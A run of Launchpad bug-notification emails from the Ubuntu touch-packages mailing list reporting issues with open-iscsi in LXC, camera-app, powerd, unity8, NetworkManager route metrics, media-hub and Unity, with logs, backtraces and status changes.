This is a blocking issue for users of iscsi-based storage HW on Openstack; is there any way of re-prioritizing this issue? -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to lxc in Ubuntu. https://bugs.launchpad.net/bugs/1226855 Title: Cannot use open-iscsi inside LXC container Status in linux package in Ubuntu: Confirmed Status in lxc package in Ubuntu: Confirmed Bug description: Trying to use open-iscsi from within an LXC container, but the iscsi netlink socket does not support multiple namespaces, causing: "iscsid: sendmsg: bug? ctrl_fd 6" error and failure. Command attempted: iscsiadm -m node -p $ip:$port -T $target --login Results in: Exit code: 18 Stdout: 'Logging in to [iface: default, target: $target, portal: $ip,$port] (multiple)' Stderr: 'iscsiadm: got read error (0/0), daemon died? iscsiadm: Could not login to [iface: default, target: $target, portal: $ip,$port]. iscsiadm: initiator reported error (18 - could not communicate to iscsid) iscsiadm: Could not log into all portals' ProblemType: Bug DistroRelease: Ubuntu 13.04 Package: lxc 0.9.0-0ubuntu3.4 ProcVersionSignature: Ubuntu 3.8.0-30.44-generic 3.8.13.6 Uname: Linux 3.8.0-30-generic x86_64 ApportVersion: 2.9.2-0ubuntu8.3 Architecture: amd64 Date: Tue Sep 17 14:38:08 2013 InstallationDate: Installed on 2013-01-15 (245 days ago) InstallationMedia: Xubuntu 12.10 "Quantal Quetzal" - Release amd64 (20121017.1) MarkForUpload: True SourcePackage: lxc UpgradeStatus: Upgraded to raring on 2013-05-16 (124 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1226855/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1443580] Re: Camera corrupts images
Hi, I have reported the same here: https://lists.launchpad.net/ubuntu-phone/msg12462.html but I got no reply. Meanwhile I have updated to r22, but the problem remained. With me it happens spontanously, But could it be connected to location services? At least two times I was not able to take a picture at a specific location, whereas some steps along everything went fine. So I went back to the first place and still was not able to take the picture. It is really annoying. Last week I was on a hike in the mountains and every n-th picture is lost. Now I usually check the images immediately. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to camera-app in Ubuntu. https://bugs.launchpad.net/bugs/1443580 Title: Camera corrupts images Status in camera-app package in Ubuntu: Confirmed Bug description: I am using a bq aquaris 4.5 ubuntu edition (14.10R20 Ubuntu Image Part: 20150312 Device Image Part: 20150310-3201c0a). I wanted to take multiple photos. After every shot the camera showed me a preview. When I wanted to check my photos afterwards, checking the photo roll, I could find only 1 photo, while swiping to the next one it showed only a spinning "cycle of friends". I checked the pics on Ubuntu Desktop and found corrupted files instead of image files (JPEG datastream contains no image). Enclosed please find also the logfile from ~/.cache/upstart /application-click-com.ubuntu.camera.log To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/camera-app/+bug/1443580/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1458936] Re: [arale] screen backlight remains on
This bug was fixed in the package powerd - 0.16+15.10.20150526-0ubuntu1 --- powerd (0.16+15.10.20150526-0ubuntu1) wily; urgency=medium [ Charles Kerr ] * Make the com.canonical.unity.brightness property read-only. (LP: #1458936) -- CI Train Bot Tue, 26 May 2015 18:40:41 + ** Changed in: powerd (Ubuntu) Status: New => Fix Released -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to powerd in Ubuntu. https://bugs.launchpad.net/bugs/1458936 Title: [arale] screen backlight remains on Status in the base for Ubuntu mobile products: Confirmed Status in PowerD: Fix Committed Status in powerd package in Ubuntu: Fix Released Bug description: The screen backlight remains on after pressing the power button. ogra reported: "on your arale device, flash image 15. Go to a dark place and press power and you'll notice that backlight stays on while the screen goes black. After 30sec to 1min backlight then turns off" I can't reproduce it on mako with latest devel-proposed wily. To manage notifications about this bug go to: https://bugs.launchpad.net/canonical-devices-system-image/+bug/1458936/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1458936] Re: [arale] screen backlight remains on
** Changed in: powerd Status: In Progress => Fix Committed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to powerd in Ubuntu. https://bugs.launchpad.net/bugs/1458936 Title: [arale] screen backlight remains on Status in the base for Ubuntu mobile products: Confirmed Status in PowerD: Fix Committed Status in powerd package in Ubuntu: New Bug description: The screen backlight remains on after pressing the power button. ogra reported: "on your arale device, flash image 15. Go to a dark place and press power and you'll notice that backlight stays on while the screen goes black. After 30sec to 1min backlight then turns off" I can't reproduce it on mako with latest devel-proposed wily. To manage notifications about this bug go to: https://bugs.launchpad.net/canonical-devices-system-image/+bug/1458936/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1443580] Re: Camera corrupts images
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: camera-app (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to camera-app in Ubuntu. https://bugs.launchpad.net/bugs/1443580 Title: Camera corrupts images Status in camera-app package in Ubuntu: Confirmed Bug description: I am using a bq aquaris 4.5 ubuntu edition (14.10R20 Ubuntu Image Part: 20150312 Device Image Part: 20150310-3201c0a). I wanted to take multiple photos. After every shot the camera showed me a preview. When I wanted to check my photos afterwards, checking the photo roll, I could find only 1 photo, while swiping to the next one it showed only a spinning "cycle of friends". I checked the pics on Ubuntu Desktop and found corrupted files instead of image files (JPEG datastream contains no image). Enclosed please find also the logfile from ~/.cache/upstart /application-click-com.ubuntu.camera.log To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/camera-app/+bug/1443580/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1458314] Re: unity8 session does not start on ubuntu-desktop-next image
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: unity8-desktop-session (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity8 in Ubuntu. https://bugs.launchpad.net/bugs/1458314 Title: unity8 session does not start on ubuntu-desktop-next image Status in unity8 package in Ubuntu: Confirmed Status in unity8-desktop-session package in Ubuntu: Confirmed Bug description: When trying to launch the Unity8 session from the ubuntu-desktop-next image (20150524), the desktop session does not start. The system shows a text console. The last output is about that is waiting for plymouth to finish. After plugging in a network cable, the image reported an automated crash report as OOPS ID 5db6880c-0200-11e5-b05b-fa163e4ccdf2 . Attaching the complete syslog file. Hardware: Dell XPS 2011 / Optimus Graphics (Intel + NVIDIA GeForce GT 540M) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/unity8/+bug/1458314/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1347836] Re: Events saved to birthdays calendar don't appear in timeline
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: qtorganizer5-eds (Ubuntu Vivid) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to qtorganizer5-eds in Ubuntu. https://bugs.launchpad.net/bugs/1347836 Title: Events saved to birthdays calendar don't appear in timeline Status in Calendar application for Ubuntu devices: In Progress Status in qtorganizer5-eds package in Ubuntu: Fix Released Status in qtorganizer5-eds source package in Vivid: Confirmed Bug description: If I create a new event and select the birthday and anniversaries calendar, I cannot see the event in the timeline. This is without syncing any google calendars; merely the default 2 calendars. The log displays this error when attempting to save: Fail to create items: Cannot create calendar object: Permission denied To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-calendar-app/+bug/1347836/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1458314] Re: unity8 session does not start on ubuntu-desktop-next image
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: unity8 (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity8 in Ubuntu. https://bugs.launchpad.net/bugs/1458314 Title: unity8 session does not start on ubuntu-desktop-next image Status in unity8 package in Ubuntu: Confirmed Status in unity8-desktop-session package in Ubuntu: Confirmed Bug description: When trying to launch the Unity8 session from the ubuntu-desktop-next image (20150524), the desktop session does not start. The system shows a text console. The last output is about that is waiting for plymouth to finish. After plugging in a network cable, the image reported an automated crash report as OOPS ID 5db6880c-0200-11e5-b05b-fa163e4ccdf2 . Attaching the complete syslog file. Hardware: Dell XPS 2011 / Optimus Graphics (Intel + NVIDIA GeForce GT 540M) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/unity8/+bug/1458314/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1436330] Re: Network Manager doesn't set metric for local networks any more, causing connection issues
@jderose, @tagrain, as mdeslaur mentioned in post #12, the metric is correctly set for the gateway route, but it is incorrectly set for the local area network route. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1436330 Title: Network Manager doesn't set metric for local networks any more, causing connection issues Status in NetworkManager: Fix Released Status in network-manager package in Ubuntu: Fix Released Status in network-manager source package in Vivid: Fix Committed Bug description: [Impact] NM changed its method of setting routes on systems, and no longer attaches a metric value specific to the type of device being used. These values were used to prioritize connections, so that for example, when connected to both wired and wireless at the same time, wired can be used in priority over wireless without incurring packet loss. Currently, when connected to both wired and wireless are connected to the same subnet, the user may notice connectivity issues since packets are sent in a round-robin fashion over all default routes on the same subnet with the same metric. [Test Case] 1- Connect to a wireless network. 2- Connect to the same network over Ethernet both connections should come up on the same subnet. 3- Make sure there is no packet loss, and that there are specific metric values for each default route, as displayed by 'ip route'. [Regression Potential] Since handling default routes properly involves correcting the behavior for all device types, VPN behavior may change to pick up the default routes in all cases, over a wired connection. It's also possible that a connection pick up the default route when it is not meant to. --- With Vivid, having two connections to the same network subnet is unstable due to missing metrics for local networks. Example: Being connected to 192.168.1.0/24 via both wired and wireless will cause connectivity issues as sent packets hop between the two interfaces. It used to be that this wasn't an issue. I would go between work and home and plug in and my machine would automatically connect to wireless and it would use the lower metric ethernet interface for all communications, while the wlan interface would remain connected but unused. ProblemType: Bug DistroRelease: Ubuntu 15.04 Package: network-manager 0.9.10.0-4ubuntu11 ProcVersionSignature: Ubuntu 3.19.0-9.9-generic 3.19.1 Uname: Linux 3.19.0-9-generic x86_64 NonfreeKernelModules: nvidia ApportVersion: 2.16.2-0ubuntu4 Architecture: amd64 CurrentDesktop: KDE Date: Wed Mar 25 09:17:27 2015 IfupdownConfig: # interfaces(5) file used by ifup(8) and ifdown(8) auto lo iface lo inet loopback InstallationDate: Installed on 2015-01-25 (58 days ago) InstallationMedia: Kubuntu 14.10 "Utopic Unicorn" - Release amd64 (20141022.1) SourcePackage: network-manager UpgradeStatus: Upgraded to vivid on 2015-03-17 (8 days ago) nmcli-nm: Error: command ['nmcli', '-f', 'all', 'nm'] failed with exit code 2: Error: Object 'nm' is unknown, try 'nmcli help'. To manage notifications about this bug go to: https://bugs.launchpad.net/network-manager/+bug/1436330/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1458936] Re: [arale] screen backlight remains on
On image 16, I consistently see the backlight turn off after 4 seconds, not 30 to 60. Version info: > cat /tmp/channel.ini [service] base: sis.capomastro.canonical.com http_port: 80 https_port: 443 channel: ubuntu-touch/rc-proposed/meizu device: arale build_number: 16 version_detail: device=20150526.34,custom=20150526.23,version=16 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to powerd in Ubuntu. https://bugs.launchpad.net/bugs/1458936 Title: [arale] screen backlight remains on Status in the base for Ubuntu mobile products: Confirmed Status in PowerD: In Progress Status in powerd package in Ubuntu: New Bug description: The screen backlight remains on after pressing the power button. ogra reported: "on your arale device, flash image 15. Go to a dark place and press power and you'll notice that backlight stays on while the screen goes black. After 30sec to 1min backlight then turns off" I can't reproduce it on mako with latest devel-proposed wily. To manage notifications about this bug go to: https://bugs.launchpad.net/canonical-devices-system-image/+bug/1458936/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1457129] Re: All sound stops playing after receiving SMS messages
** Also affects: unity8 (Ubuntu)
Importance: Undecided
Status: New
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to unity8 in Ubuntu.
https://bugs.launchpad.net/bugs/1457129
Title:
All sound stops playing after receiving SMS messages
Status in the base for Ubuntu mobile products:
Confirmed
Status in media-hub package in Ubuntu:
In Progress
Status in unity8 package in Ubuntu:
New
Bug description:
Testing on Arale, build 6, vivid proposed
Steps to reproduce (not that easy)
1) goto System Settings->Sounds and set Message Received Sound to Xylo and
check on "Vibrate with message sound" and "Vibrate in Silent Mode"
1A) Lock the phone
2) Send phone a bunch of text messages (like 4 in a row quickly)
3) verify that sound is played, vibration is heard, and notification is
displayed
4) now open messaging app to the thread that received the message
5) lock the phone
6) Repeat steps 2 and 3, eventually the sounds stop playing and the
notifications don't get displayed anymore, but the screen does light up.
At this point media hub is hung and you can't plays sounds from
anywhere, even music player
(gdb) t a a bt
Thread 15 (Thread 0xb2f3a3a0 (LWP 2186)):
#0 0xb424f6b4 in ?? ()
#1 0xb4263c8c in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
Thread 14 (Thread 0xb25ff3a0 (LWP 2187)):
#0 0xb424f6b4 in ?? ()
#1 0xb4263c8c in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
Thread 13 (Thread 0xb1bff3a0 (LWP 2189)):
#0 0xb6320132 in epoll_wait () from /lib/arm-linux-gnueabihf/libc.so.6
#1 0x00149850 in boost::asio::detail::epoll_reactor::run(bool,
boost::asio::detail::op_queue&)
()
#2 0x0014ab1a in
boost::asio::detail::task_io_service::run(boost::system::error_code&) ()
#3 0x00148c8e in _start ()
Thread 12 (Thread 0xad3fe3a0 (LWP 2191)):
#0 0xb63194e0 in poll () from /lib/arm-linux-gnueabihf/libc.so.6
#1 0x in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
Thread 11 (Thread 0xacbfe3a0 (LWP 2192)):
#0 0xb63194e0 in poll () from /lib/arm-linux-gnueabihf/libc.so.6
#1 0x in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
Thread 10 (Thread 0xabcff3a0 (LWP 2202)):
#0 0xb6387d44 in __libc_do_syscall () from
/lib/arm-linux-gnueabihf/libpthread.so.0
#1 0xb6385980 in __lll_lock_wait () from
/lib/arm-linux-gnueabihf/libpthread.so.0
#2 0xb638119e in pthread_mutex_lock () from
/lib/arm-linux-gnueabihf/libpthread.so.0
#3 0x001a8bc8 in ?? ()
#4 0x001b21d6 in
core::ubuntu::media::PlayerImplementation::Private::request_power_state()
()
#5 0x001b5384 in
core::ubuntu::media::PlayerImplementation::Private::make_state_change_handler()::{lambda(core::ubuntu::media::Engine::State
const&)#1}::operator()(core::ubuntu::media::Engine::State const&) const ()
---Type to continue, or q to quit---
#6 0x001b0c9a in std::_Function_handler >::_M_invoke(std::_Any_data
const&, core::ubuntu::media::Engine::State) ()
#7 0x001cf730 in
core::Signal::operator()(core::ubuntu::media::Engine::State)
()
#8 0x001cc2c2 in gstreamer::Engine::play() ()
#9 0x001b2018 in
core::ubuntu::media::PlayerImplementation::play()
()
#10 0x001d87b8 in
core::ubuntu::media::PlayerSkeleton::Private::handle_play(std::shared_ptr
const&) ()
#11 0xb6f161c0 in ?? () from /usr/lib/arm-linux-gnueabihf/libdbus-cpp.so.4
#12 0xb6245aa2 in ?? () from /lib/arm-linux-gnueabihf/libdbus-1.so.3
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
Thread 9 (Thread 0xa31ff3a0 (LWP 4024)):
#0 0xb6387d44 in __libc_do_syscall () from
/lib/arm-linux-gnueabihf/libpthread.so.0
#1 0xb638595c in __lll_lock_wait () from
/lib/arm-linux-gnueabihf/libpthread.so.0
#2 0xb638119e in pthread_mutex_lock () from
/lib/arm-linux-gnueabihf/libpthread.so.0
#3 0x001a887e in ?? ()
#4 0x001ac772 in std::_Function_handler const&), void
core::dbus::Object::invoke_method_asynchronously_with_callback(std::function const&)>,
std::string const&)::{lambda(std::shared_ptr
const&)#1}>::_M_invoke(std::_Any_data const&,
std::shared_ptr const&) ()
#5 0xb6f17da4 in ?? () from /usr/lib/arm-linux-gnueabihf/libdbus-cpp.so.4
#6 0x001acc5a in void
core::dbus::Object::invoke_method_asynchronously_with_callback(std::function const&)>,
std::string const&) ()
#7 0x001a8ad4 in ?? ()
#8 0x001b230e in
core::ubuntu::media::PlayerImplementation::Private::clear_wakelock(core::ubuntu::media::PlayerImplementation::Private::wakelock_clear_t
const&) ()
#9 0x001b8052 in std::_Function_handler::Private::make_clear_wakelock_functor()::{lambda()#1}>::_M_invoke(std::_Any_data
const&) ()
#10 0x001b24da in
std::thread::_Impl>(int, bool, std::function&&)::{lambda()#1} ()> >::_M_run() ()
#11 0xb643f2a0 in ?? () from /
[Touch-packages] [Bug 1422163] Re: Unity crashing while watching youtube videos using chrome
Your graphics hardware is reasonably recent and I don't see any graphics errors in your bootdmesg file. I suggest that you file an upstream bug report at bugs.freedesktop.org You can link that bug report to this bug report by clicking on "Also affects project" near the top of this page. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity in Ubuntu. https://bugs.launchpad.net/bugs/1422163 Title: Unity crashing while watching youtube videos using chrome Status in Unity: Confirmed Status in unity package in Ubuntu: Triaged Bug description: I recently upgraded to ubuntu 14.10 and started experiencing repeatable unity crashes while watching youtube videos using current chrome. It doesn't always crash at the first attempt but most definitely it will crash sooner or later. Once unity crashes it is respawn but again crashes immediately, the PC becomes unusable until I kill X from the console or reboot. From my .xsession-errors: upstart: unity7 main process (9627) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (9998) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (10017) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (10041) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (10054) terminated with status 1 upstart: unity7 main process ended, respawning [you got the point] Unity support test results are not reassuring: $ /usr/lib/nux/unity_support_test -p libGL error: failed to open drm device: Permission denied libGL error: failed to load driver: i965 OpenGL vendor string: VMware, Inc. OpenGL renderer string: Gallium 0.4 on llvmpipe (LLVM 3.5, 128 bits) OpenGL version string: 3.0 Mesa 10.3.2 Not software rendered: no Not blacklisted: yes GLX fbconfig: yes GLX texture from pixmap: yes GL npot or rect textures: yes GL vertex program: yes GL fragment program: yes GL vertex buffer object: yes GL framebuffer object: yes GL version is 1.4+: yes Unity 3D supported: no [possibly related to https://bugs.freedesktop.org/show_bug.cgi?id=89146] I never tried running unity_support_test before upgrading from 14.04 to 14.10, so I'm not sure if it looked better on 14.04 but definitely it didn't crash in this way. In my view this is a regression. ProblemType: Bug DistroRelease: Ubuntu 14.10 Package: unity 7.3.1+14.10.20141016-0ubuntu1 ProcVersionSignature: Ubuntu 3.16.0-30.40-generic 3.16.7-ckt3 Uname: Linux 3.16.0-30-generic i686 NonfreeKernelModules: wl ApportVersion: 2.14.7-0ubuntu8.1 Architecture: i386 CompizPlugins: [core,composite,opengl,decor,imgpng,resize,gnomecompat,snap,compiztoolbox,place,move,grid,vpswitch,regex,session,mousepoll,animation,unitymtgrabhandles,wall,workarounds,fade,expo,ezoom,scale,unityshell] CurrentDesktop: Unity Date: Sun Feb 15 20:12:09 2015 InstallationDate: Installed on 2010-03-20 (1793 days ago) InstallationMedia: Ubuntu 10.04 "Lucid Lynx" - Beta i386 (20100317.1) SourcePackage: unity UpgradeStatus: Upgraded to utopic on 2014-12-08 (68 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/unity/+bug/1422163/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1422163] Re: Unity crashing while watching youtube videos using chrome
Adding bootstrap dmesg output ** Attachment added: "Bootstrap dmesg" https://bugs.launchpad.net/ubuntu/+source/unity/+bug/1422163/+attachment/4404996/+files/bootdmesg.txt -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity in Ubuntu. https://bugs.launchpad.net/bugs/1422163 Title: Unity crashing while watching youtube videos using chrome Status in Unity: Confirmed Status in unity package in Ubuntu: Triaged Bug description: I recently upgraded to ubuntu 14.10 and started experiencing repeatable unity crashes while watching youtube videos using current chrome. It doesn't always crash at the first attempt but most definitely it will crash sooner or later. Once unity crashes it is respawn but again crashes immediately, the PC becomes unusable until I kill X from the console or reboot. From my .xsession-errors: upstart: unity7 main process (9627) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (9998) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (10017) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (10041) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (10054) terminated with status 1 upstart: unity7 main process ended, respawning [you got the point] Unity support test results are not reassuring: $ /usr/lib/nux/unity_support_test -p libGL error: failed to open drm device: Permission denied libGL error: failed to load driver: i965 OpenGL vendor string: VMware, Inc. OpenGL renderer string: Gallium 0.4 on llvmpipe (LLVM 3.5, 128 bits) OpenGL version string: 3.0 Mesa 10.3.2 Not software rendered: no Not blacklisted: yes GLX fbconfig: yes GLX texture from pixmap: yes GL npot or rect textures: yes GL vertex program: yes GL fragment program: yes GL vertex buffer object: yes GL framebuffer object: yes GL version is 1.4+: yes Unity 3D supported: no [possibly related to https://bugs.freedesktop.org/show_bug.cgi?id=89146] I never tried running unity_support_test before upgrading from 14.04 to 14.10, so I'm not sure if it looked better on 14.04 but definitely it didn't crash in this way. In my view this is a regression. ProblemType: Bug DistroRelease: Ubuntu 14.10 Package: unity 7.3.1+14.10.20141016-0ubuntu1 ProcVersionSignature: Ubuntu 3.16.0-30.40-generic 3.16.7-ckt3 Uname: Linux 3.16.0-30-generic i686 NonfreeKernelModules: wl ApportVersion: 2.14.7-0ubuntu8.1 Architecture: i386 CompizPlugins: [core,composite,opengl,decor,imgpng,resize,gnomecompat,snap,compiztoolbox,place,move,grid,vpswitch,regex,session,mousepoll,animation,unitymtgrabhandles,wall,workarounds,fade,expo,ezoom,scale,unityshell] CurrentDesktop: Unity Date: Sun Feb 15 20:12:09 2015 InstallationDate: Installed on 2010-03-20 (1793 days ago) InstallationMedia: Ubuntu 10.04 "Lucid Lynx" - Beta i386 (20100317.1) SourcePackage: unity UpgradeStatus: Upgraded to utopic on 2014-12-08 (68 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/unity/+bug/1422163/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1458990] [NEW] history-service crash calling back number from indicator
Public bug reported: latest arale, image 16 Steps to reproduce: - recv a call from a known contact but don't answer it - pull down indicator, tap the call back button - dialer is invoked with the number - press call button Expected Results: - number is called and header shows the contact name Actual results: - the header is blank, and don't think the call was placed (or it might have been placed and failed) ** Affects: history-service (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to history-service in Ubuntu. https://bugs.launchpad.net/bugs/1458990 Title: history-service crash calling back number from indicator Status in history-service package in Ubuntu: New Bug description: latest arale, image 16 Steps to reproduce: - recv a call from a known contact but don't answer it - pull down indicator, tap the call back button - dialer is invoked with the number - press call button Expected Results: - number is called and header shows the contact name Actual results: - the header is blank, and don't think the call was placed (or it might have been placed and failed) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/history-service/+bug/1458990/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1422163] Re: Unity crashing while watching youtube videos using chrome
Attaching output of lspci -vvnn ** Attachment added: "Output of lspci -vvnn" https://bugs.launchpad.net/ubuntu/+source/unity/+bug/1422163/+attachment/4404993/+files/lspci.txt -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unity in Ubuntu. https://bugs.launchpad.net/bugs/1422163 Title: Unity crashing while watching youtube videos using chrome Status in Unity: Confirmed Status in unity package in Ubuntu: Triaged Bug description: I recently upgraded to ubuntu 14.10 and started experiencing repeatable unity crashes while watching youtube videos using current chrome. It doesn't always crash at the first attempt but most definitely it will crash sooner or later. Once unity crashes it is respawn but again crashes immediately, the PC becomes unusable until I kill X from the console or reboot. From my .xsession-errors: upstart: unity7 main process (9627) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (9998) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (10017) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (10041) terminated with status 1 upstart: unity7 main process ended, respawning upstart: unity7 main process (10054) terminated with status 1 upstart: unity7 main process ended, respawning [you got the point] Unity support test results are not reassuring: $ /usr/lib/nux/unity_support_test -p libGL error: failed to open drm device: Permission denied libGL error: failed to load driver: i965 OpenGL vendor string: VMware, Inc. OpenGL renderer string: Gallium 0.4 on llvmpipe (LLVM 3.5, 128 bits) OpenGL version string: 3.0 Mesa 10.3.2 Not software rendered: no Not blacklisted: yes GLX fbconfig: yes GLX texture from pixmap: yes GL npot or rect textures: yes GL vertex program: yes GL fragment program: yes GL vertex buffer object: yes GL framebuffer object: yes GL version is 1.4+: yes Unity 3D supported: no [possibly related to https://bugs.freedesktop.org/show_bug.cgi?id=89146] I never tried running unity_support_test before upgrading from 14.04 to 14.10, so I'm not sure if it looked better on 14.04 but definitely it didn't crash in this way. In my view this is a regression. ProblemType: Bug DistroRelease: Ubuntu 14.10 Package: unity 7.3.1+14.10.20141016-0ubuntu1 ProcVersionSignature: Ubuntu 3.16.0-30.40-generic 3.16.7-ckt3 Uname: Linux 3.16.0-30-generic i686 NonfreeKernelModules: wl ApportVersion: 2.14.7-0ubuntu8.1 Architecture: i386 CompizPlugins: [core,composite,opengl,decor,imgpng,resize,gnomecompat,snap,compiztoolbox,place,move,grid,vpswitch,regex,session,mousepoll,animation,unitymtgrabhandles,wall,workarounds,fade,expo,ezoom,scale,unityshell] CurrentDesktop: Unity Date: Sun Feb 15 20:12:09 2015 InstallationDate: Installed on 2010-03-20 (1793 days ago) InstallationMedia: Ubuntu 10.04 "Lucid Lynx" - Beta i386 (20100317.1) SourcePackage: unity UpgradeStatus: Upgraded to utopic on 2014-12-08 (68 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/unity/+bug/1422163/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1458990] Re: history-service crash calling back number from indicator
** Attachment added: "application-legacy-dialer-app-.log" https://bugs.launchpad.net/ubuntu/+source/history-service/+bug/1458990/+attachment/4404994/+files/application-legacy-dialer-app-.log -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to history-service in Ubuntu. https://bugs.launchpad.net/bugs/1458990 Title: history-service crash calling back number from indicator Status in history-service package in Ubuntu: New Bug description: latest arale, image 16 Steps to reproduce: - recv a call from a known contact but don't answer it - pull down indicator, tap the call back button - dialer is invoked with the number - press call button Expected Results: - number is called and header shows the contact name Actual results: - the header is blank, and don't think the call was placed (or it might have been placed and failed) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/history-service/+bug/1458990/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1458990] Re: history-service crash calling back number from indicator
